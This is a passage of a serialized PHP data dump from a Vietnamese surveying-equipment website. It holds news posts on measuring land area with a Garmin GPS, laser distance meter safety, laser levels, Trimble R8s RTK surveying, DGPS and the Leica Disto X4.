tích đất.<br /> <br /> <strong>Phần 2: Tiến hành đo diện tích đất</strong><br /> <br /> <strong>Bước 1:</strong> Nhấn nút <em>Menu</em> trên máy 2 lần để trở về màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 1 lần 2.jpg" style="width: 300px; height: 300px;" /><br /> <em>Hình 1. Nhấn Menu 2 lần để trở về màn hình chính</em><br /> <br /> Bước 2: Di chuyển con trỏ vào biểu tượng có chữ <em>Area Calculation</em> (chức năng đo diện tích) => nhấn <em>Enter</em><strong>. </strong>Màn hình đo diện tích sẽ hiện ra.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2 lần 2.jpg" style="width: 311px; height: 414px;" /><br /> <em>Hình 2. Di chuyển con trỏ vào biểu tượng có chữ Area Calculation</em><br /> <br /> Bước 3: Bây giờ hãy vào khu đất cần đo diện tích và nhấn <em>Enter</em> vào chữ <em>Start</em>, sau đó đi vòng quanh khu đất cần đo.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3 lần 2.jpg" style="width: 400px; height: 533px;" /><br /> <em>Hình 3. Nhấn Enter vào chữ Start</em><br /> <br /> Bước 4: Sau khi đi vòng quanh khu đất cần đo đến vị trí xuất phát ban đầu nhấn <em>Enter</em> vào chữ <em>Calculate.</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4 lần 2.jpg" style="width: 296px; height: 395px;" /><br /> <em>Hình 4. Nhấn Enter vào chữ Calculate</em><br /> <br /> Màn hình hiển thị kết quả đo diện tích sẽ hiện ra:<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 5.jpg" style="width: 309px; height: 412px;" /><br /> <em>Hình 5. Hiển thị kết quả đo</em><br /> <br /> Tùy vào mỗi mục đích công việc khác nhau mà chúng ta lựa chọn đơn vị đo phù hợp.<br /> Để chọn đơn vị đo bạn chỉ cần di chuyển con trỏ vào chữ <em>Change Units</em> và nhấn <em>Enter </em>=> màn hình sẽ hiện ra các đơn vị đo để bạn lựa chọn, thông thường chúng ta sẽ đo diện tích khu đất lớn nên chọn vào đơn vị Hectares<strong> (</strong>Ha<strong>).</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 6.jpg" style="width: 376px; height: 502px;" /><br /> <em>Hình 6. Chuyển đơn vị đo</em><br /> <br /> <strong>Cần lưu ý là phải đi thành 1 vòng khép kín thì máy mới đo diện tích khu đất một cách chính xác.</strong></span></span><br /> </p> <p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> ', 'images' => '2019042407173039b311cfd409011833b1fdef4dd12cf9.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-24', 'modified' => '2025-08-10', 'status' => '1', 'view' => '56568', 'slug' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '935', 'rght' => '936', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '534', 'name' => 'Những lưu ý khi dùng máy đo khoảng cách laser', 'code' => null, 'alias' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. </span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Máy đo khoảng cách laser với ưu điểm thiết kế cầm tay nhỏ gọn, đút túi dễ dàng và kết quả phản hồi nhanh. Các tính năng cơ bản bao gồm đo khoảng cách, tính toán theo pitago, diện tích, thể tích, chu vi, đo góc, cộng trừ nhân chia. Ngoài ra, riêng dòng Leica có thêm rất nhiều tính năng vượt trội cho người chuyên nghiệp như đo cạnh trên cao, đo sườn đồi, đo độ nghiêng mái nhà, tính cạnh gián tiếp...<br /> <br /> Trước khi sử dụng bạn cần đọc các lưu ý quan trọng dưới đây để tránh làm hỏng thiết bị hoặc gây hại đến người xung quanh. <br /> <br /> - Không để tia laser hướng về phía người hoặc động vật và không nhìn vào tia laser trực tiếp hoặc qua phản chiếu.<br /> - Nếu tia laser hướng vào mắt, bạn phải nhắm mắt lại và ngay lập tức xoay đầu để tránh tia laser.<br /> - Không được sử dụng kính nhìn laser như là kính bảo hộ lao động.<br /> - Không được nhúng dụng cụ đo vào trong nước hay các chất lỏng khác.<br /> - Lau sạch bụi bẩn bằng một mảnh vải mềm và ẩm.<br /> - Không sử dụng bất cứ chất tẩy rửa hay dung môi nào.<br /> - Nếu dụng cụ đo bị trục trặc, vui lòng liên hệ bộ phận kỹ thuật của chúng tôi để được hướng dẫn và bảo hành. Tuyệt đối không tự ý tháo mở dụng cụ đo ra để tránh làm thiết bị hỏng hóc thêm.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/H1.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H2.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H3.jpg" style="width: 236px; height: 138px;" /></span></span><br /> <br /> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <img alt="" src="/admin/webroot/upload/image/images/H7.jpg" style="width: 500px; height: 360px;" /></p> ', 'images' => '20190301033534e604a531789bb8c3cfaceb0b2346fd77.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-03-01', 'modified' => '2025-08-10', 'status' => '1', 'view' => '68693', 'slug' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '933', 'rght' => '934', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '533', 'name' => 'Cùng tìm hiểu về dòng máy thuỷ bình laser', 'code' => null, 'alias' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người. Các chức năng nổi bật đó có thể bao gồm:<br /> - Là thiết bị đo đạc ở các khoảng cách khác nhau từ gần đến xa, từ địa hình bằng phẳng đến nhưng nơi trắc trở nhiều nguy hiểm. Máy thuỷ bình laser có thể hỗ trợ con người trong việc tính toán và lập sơ đồ công trình rất nhanh chóng và chính xác.<br /> - Sử dụng máy trong việc quét mã vạch laser của ngành công nghiệp thương mại giúp bạn có được những kết quả tuyệt đối và tiện lợi hơn.<br /> - Ngoài ra, máy thuỷ bình laser còn là một thiết bị có ứng dụng rộng rãi trong ngành công nghiệp sản xuất, giáo dục, t tế và giao thông, công nghiệp vận chuyển.<br /> <br /> <strong>Một số cách phân loại máy thuỷ bình laser nổi bật nhất</strong></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua màu sắc</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Màu sắc máy thuỷ bình laser sẽ tương ứng với màu sắc tia laser được tích hợp bên trong máy và những dòng máy có màu sắc khác nhau sẽ có các đặc tính sử dụng cũng như nhiều ưu nhược điểm khác nhau. Một số dòng máy thuỷ bình laser chính được phân loại theo hình thức này đó chính là máy tia xanh, tia đỏ, tia cam, tia xanh ngọc, tia hồng. Tuy nhiên, nổi bật hơn cả vẫn là hai dòng máy chính tia xanh và tia đỏ. Chúng được xuất hiện phổ biến trên thị trường với những vai trò vô cùng hữu ích, khả năng ứng dụng đa dạng và linh hoạt cho người dùng.<br /> <img alt="" src="/admin/webroot/upload/image/images/1539914884-may can bang2 (1).JPG" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser theo nhà sản xuất</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Có rất nhiều đơn vị khác nhau gia nhập vào lĩnh vực thiết kế, sản xuất và phân phối máy thuỷ bình laser ra thị trường. Một số thương hiệu nổi bật có thể kể đến như dòng máy thuỷ bình laser thương hiệu Hàn Quốc, Nhật Bản, Đức: Sincon, Bosch, Fukuda, Laisai,...<br /> <img alt="" src="/admin/webroot/upload/image/images/1512013048_may-can-bang-laser-sincon-sl-333.jpg" style="width: 455px; height: 481px;" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua số tia được tích hợp</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Số tia của máy thuỷ bình laser có ảnh hưởng rất lớn đến hiệu quả ứng dụng, đến mức độ phổ biến và khả năng sử dụng thực tế của máy cho các nhu cầu của người dùng. Tùy từng mục đích khác nhau bạn có thể chọn lựa dòng máy thuỷ bình laser với số tia vừa phải như 2 tia, 3 tia, 4 tia, 5 tia. Số lượng tia càng lớn thì giá thành máy càng cao, tuy nhiên hiệu quả và các chức năng máy mang lại sẽ càng lớn.<br /> <br /> <strong>Đánh giá một số ưu điểm của máy thuỷ bình laser trên thị trường hiện nay:</strong><br /> - Sử dụng máy thuỷ bình laser có thể thay thế hoàn toàn các phương thức đo đạc truyền thống với các kết quả đảm bảo độ chính xác, nhanh chóng và rất tiện lợi. Bạn có thể tránh đi được các thao tác phức tạp cần phải thực hiện, ngoài ra là còn tránh được các sai lệch có thể ảnh hưởng trực tiếp đến những công trình thực tế đang nghiên cứu hoặc thi công.<br /> - Việc sử dụng các dòng máy thuỷ bình laser hiện đại ngày nay rất đơn giản, chỉ cần nhấn nút và kiểm tra kết quả đo. Việc băn khoăn về những công việc cần làm cũng được giảm đi đáng kể. Từ đó giúp tiết kiệm thời gian rất nhiều.<br /> - Các thiết kế máy thuỷ bình laser hiện nay đều rất hiện đại, sang trọng với khả năng thu hút, bắt mắt, thể hiện cho sự cập nhật xu hướng cho chính người dùng, người chủ của máy.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/images(1).jpg" style="width: 225px; height: 225px;" /><br /> <br /> <strong>Một số nhược điểm của máy thuỷ bình laser:</strong><br /> Tuy mang trong mình nhiều ưu điểm nhưng vẫn không thể phủ nhận được một số khuyết điểm mà máy thuỷ bình laser vẫn còn gặp phải. Việc sử dụng máy tuy đơn giản nhưng luôn cần phải đảm bảo đúng và đủ các thao tác cần thiết. Nếu không sẽ không thể thu được kết quả đo. Ngoài ra, khi ứng dụng máy thuỷ bình laser trong một số điều kiện về địa hình trắc trở hay có nhiều vật cản, kết quả đo đạc thu được có thể sẽ không đảm bảo được độ chính xác tuyệt đối.<br /> Mức giá của các dòng máy thuỷ bình laser khá lớn, thường cao hơn so với các lựa chọn của phương pháp đo đạc truyền thống. Vì vậy, chi phí đầu tư ban đầu cần bỏ ra cho phương pháp cần phải xác định là sẽ tốn kém hơn. Tuy nhiên, so với những hiệu quả mà máy có thể mang lại thì đây hoàn toàn là những con số có thể chấp nhận được.<br /> </span></span>', 'images' => '20190213030954ce4c7d18ea6c8d4e032f065a283c7634.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-02-13', 'modified' => '2025-08-10', 'status' => '1', 'view' => '66484', 'slug' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '931', 'rght' => '932', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '532', 'name' => 'Đo đạc khảo sát bằng công nghệ RTK - TRIMBLE R8S ', 'code' => null, 'alias' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghệ GPS RTK trong đo đạc khảo sát địa hình giúp rút ngắn thời gian đo đạc ngoài thực địa.<br /> Phương pháp đo vẽ bằng công nghệ RTK rất đơn giản.Khả năng đo chi tiết ở khoảng cách khá lớn.Trạm máy ít phải di chuyển nên tốc độ đo nhanh hơn. Với công nghệ RTK, nhân lực giảm, mang lại hiệu quả lớn về mặt kinh tế.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100541-r8s-4 (1)(1).JPG" style="width: 841px; height: 329px;" /><br /> Cùng với đó, để nâng cao năng suất và hiệu quả của công việc đo đạc khảo sát, bạn cần kết hợp với thiết bị máy toàn đạc điện tử để đo đạc.<br /> <br /> Để bắt kịp xu thế, Trimble – hãng sản xuất của Mỹ cho ra đời dòng máy định vị vệ tinh GNSS 02 tần số R8s. Máy có thiết kế nhỏ gọn và các tính năng nổi bật, đặc biệt là độ chính xác cao.Chuyên dùng trong công tác khảo sát thành lập lưới khống chế tọa độ với độ chính xác cao;<br /> Ngoài ra Trimble R8s cũng có thể được dùng trong việc khảo sát, thi công công trình như một chiếc máy đo đạc thông minh.Có thể thực hiện được tất cả các công việc trắc địa như giao hội, bố trí đường cong, tính diện tích.<br /> <br /> <strong>Các tính năng nổi bật của Trimble R8s GNSS:</strong><br /> + Bộ thu vệ tinh có thể lập cấu hình và tùy chỉnh nhằm đáp ứng yêu cầu của người dùng<br /> + Có cấu hình xử lý hậu kỳ, cấu hình chỉ gồm trạm Base hoặc trạm Rover.Hoặc cấu hình bao gồm cả hai trạm Base và Rover<br /> + Khả năng dò tìm vệ tinh tiên tiến với công nghệ thu vệ tinh Trimble 360<br /> + Gồm bộ vi mạch Trimble Maxwell 6 với 440 kênh<br /> + Tích hợp đơn giản với dòng máy toàn đạc Trimble S-series và trạm Rover V10 Imaging<br /> + Phần mềm hiện trường Trimble Access và phần mềm nội nghiệp Trimble Business Center đầy trực quan<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100540-r8s-2(1).jpg" style="width: 426px; height: 600px;" /></span></span><br /> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">Với những tính năng nổi trội như trên, Trimble R8s sẽ là một giải pháp hoàn thiện cho công tác đo đạc khảo sát thành lập bản đồ.</span> </span></span></div> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> </div> ', 'images' => '20181225030718344e0b16ef2063800ec3d36fa19f99b7.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-12-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '66301', 'slug' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '929', 'rght' => '930', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '531', 'name' => 'Công nghệ DGPS và ứng dụng của nó.', 'code' => null, 'alias' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span>', 'content' => '<p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span><br /> </p> <p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">DGPS sử dụng thêm một mạng lưới các trạm mặt đất cố định để phát tín hiệu. Làm căn cứ cho thiết bị định vị nhận biết khác biệt giữa các vị trí của các trạm đo. Phân biệt theo hai cách: được chỉ định bởi hệ thống vệ tinh và số liệu đo đạc chính xác đã biết từ trước. Từ sai khác giữa vị trí đo bởi vệ tinh và vị trí chính xác đã biết. Các thiết bị định vị có thể hiệu chỉnh vị trí chính xác của chúng.</span></span></p> <p style="text-align: center;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939579-DPGS-2.jpg" style="width: 507px; height: 347px;" /></span></span></p> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Các tín hiệu hiệu chỉnh thường được phát ở dạng sóng radio UHF.<br /> <br /> Hệ thống DGPS:<br /> - Một là chủ yếu cho hàng hải, phát tín hiệu trên dải sóng dài;<br /> - Một hệ thống khác được sử dụng cho điều tra đất đai và di chuyển trên mặt đất, sử dụng băng tần FM radio thương mại.<br /> <br /> Ở Việt Nam hiện có 6 trạm DGPS: Đồ Sơn, Vũng Tàu, Hà Giang, Cao Bằng, Lai Châu, Quảng Nam.<br /> <br /> Các ứng dụng hệ thống DGPS: <br /> <br /> - Ứng dụng trong trắc địa và bản đồ mặt Đất<br /> - Ứng dụng trong trắc địa và bản đồ biển<br /> - Ứng dụng trong giao thông và hải dương học trên biển<br /> - Ứng dụng trong trắc địa và bản đồ hàng không<br /> - Ứng dụng trong giao thông hàng không<br /> - Ứng dụng trong thám hiểm không gian<br /> - Ứng dụng trong quân đội<br /> <br /> <strong>GPS và DGPS khác nhau như thế nào?</strong> </span></span><br /> <ul> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> GPS là tín hiệu được phát trực tiếp từ các vệ tinh toàn cầu GPS. GPS có độ sai số trong phạm vi tiêu chuẩn là 15m.</span></span></li> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> DGPS là tín hiệu vô tuyến được phát từ các trạm DGPS sau khi nhận GPS và sửa đổi chúng cho tín hiệu chính xác hơn. Với phạm vi tiêu chuẩn dưới 5m. Tuy nhiên nhược điểm của DGPS là phải sử dụng nhiều trạm phát dưới mặt đất. Sai số sẽ càng cao khi khoảng cách từ trạm DGPS đến thiết bị thu sóng càng lớn.</span></span></li> </ul> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-11.jpg" style="width: 421px; height: 245px;" /></span></span></p> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-12.jpg" /></span></span></p> ', 'images' => '20181123080947be329442040732a45e4832bf54eaf382.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-23', 'modified' => '2025-08-10', 'status' => '1', 'view' => '68150', 'slug' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '927', 'rght' => '928', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '530', 'name' => 'Chức năng của máy đo khoảng cách laser Disto X4', 'code' => null, 'alias' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;"><strong style="margin: 0px; padding: 0px;">Máy đo khoảng cách laser Leica DISTO X4 - 150m</strong> là Model mới nhất của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. </span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410<br /> <br /> * Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> ', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(51, 51, 51); font-weight: 700; text-transform: uppercase;">MÁY ĐO KHOẢNG CÁCH LASER LEICA DISTO X4_150M</span><span style="color: rgb(0, 0, 0); text-align: justify;"> là Model mới nhất (cùng với Leica DISTO X3) của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. Disto X4 